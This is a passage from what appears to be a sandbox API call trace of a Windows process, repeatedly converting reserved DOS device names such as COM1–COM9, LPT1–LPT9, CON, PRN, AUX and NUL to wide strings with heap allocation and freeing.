[0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM2") returned 5 [0178.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM3") returned 5 [0178.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM4") returned 5 [0178.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM5") returned 5 [0178.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM6") returned 5 [0178.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.325] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM7") returned 5 [0178.325] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.325] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM8") returned 5 [0178.325] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.325] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM9") returned 5 [0178.325] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.325] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT1") returned 5 [0178.325] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.325] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT2") returned 5 [0178.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT3") returned 5 [0178.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT4") returned 5 [0178.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT5") returned 5 [0178.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT6") returned 5 [0178.326] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.326] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT7") returned 5 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT8") returned 5 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT9") returned 5 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="CON") returned 4 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="PRN") returned 4 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.327] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="AUX") returned 4 [0178.327] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="NUL") returned 4 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM1") returned 5 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM2") returned 5 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM3") returned 5 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM4") returned 5 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.328] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM5") returned 5 [0178.328] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM6") returned 5 [0178.329] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM7") returned 5 [0178.329] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM8") returned 5 [0178.329] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM9") returned 5 [0178.329] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT1") returned 5 [0178.329] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.329] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT2") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT3") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT4") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT5") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT6") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.330] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT7") returned 5 [0178.330] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT8") returned 5 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT9") returned 5 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="CON") returned 4 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="PRN") returned 4 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="AUX") returned 4 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.331] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="NUL") returned 4 [0178.331] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM1") returned 5 [0178.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM2") returned 5 